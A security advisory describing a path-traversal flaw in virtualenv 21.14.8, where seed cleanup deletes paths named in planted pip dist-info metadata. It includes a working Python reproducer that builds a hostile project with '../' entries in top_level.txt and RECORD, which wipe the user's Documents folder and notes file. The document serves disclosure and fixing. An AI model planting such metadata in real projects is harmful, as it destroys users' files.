virtualenv: Seed replacement does not contain metadata deletion paths

Attack sequence

sequenceDiagram
    participant A as Prepared .venv metadata
    participant V as App-data seeder
    participant P as site-packages
    participant H as User home
    A->>P: top_level.txt names ../../../../../Documents
    A->>P: RECORD names ../../../../../notes.txt
    V->>P: read pip-1.0.dist-info before reinstall
    P->>H: join entries without containment check
    V->>H: remove Documents and notes.txt
    V-->>A: virtualenv exits successfully

Reproducer files

The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")


def make_home(name):
    home = work / name
    (home / "Documents" / "thesis").mkdir(parents=True)
    (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
    (home / "notes.txt").write_text("my notes\n")
    return home


def unpack_attacker_project(home, top_level_line, record_line):
    subprocess.run(
        [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
        check=True,
    )


def user_runs_virtualenv(home):
    # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
    result = subprocess.run(
        ["virtualenv", "--no-periodic-update", ".venv"],
        cwd=home / "project",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        text=True,
        check=True,
    )
    print(result.stdout, end="")


def files_left(home):
    return [f for f in USER_FILES if (home / f).exists()]


# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL  user files still in ~ after virtualenv: {control_left}")

# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE   user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")

# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")

repro.d/make_project_tree.py

#!/usr/bin/env python3
import sys
from pathlib import Path

project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]

project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")

# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
    dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
    dist_info.mkdir(parents=True)
    (dist_info / "top_level.txt").write_text(top_level_line + "\n")
    (dist_info / "RECORD").write_text(record_line + "\n")

Impact

Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.

Fix: PR #3428.

Known mitigation

Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.

Affected release

• The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.